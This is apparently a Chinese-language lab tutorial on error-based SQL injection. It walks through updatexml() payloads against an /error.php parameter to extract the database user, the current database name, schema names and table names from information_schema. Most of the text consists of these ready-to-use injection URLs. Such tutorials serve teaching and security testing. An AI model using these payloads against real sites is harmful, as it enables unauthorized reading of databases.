数据库报错
当访问链接/error.php?username=1,页面是正常的,如果多了一个单引号而报错,/error.php?username=1',输出的界面如下图所示:
updatexml获取user()
报错注入有多种格式,这里使用updatexml。
/error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
updatexml获取database()
/error.php?username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
updatexml获取数据库名和表名
数据库中可能含有其它的库,可以用语句获取其它库的信息。因为报错注入只显示一条结果,所以使用limit语句。
/error.php?username=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
database()获取当前数据库的库名sql,而test是从上面语句获得的第二个数据库的库名。
构造语句获取数据库test的表名。
/error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+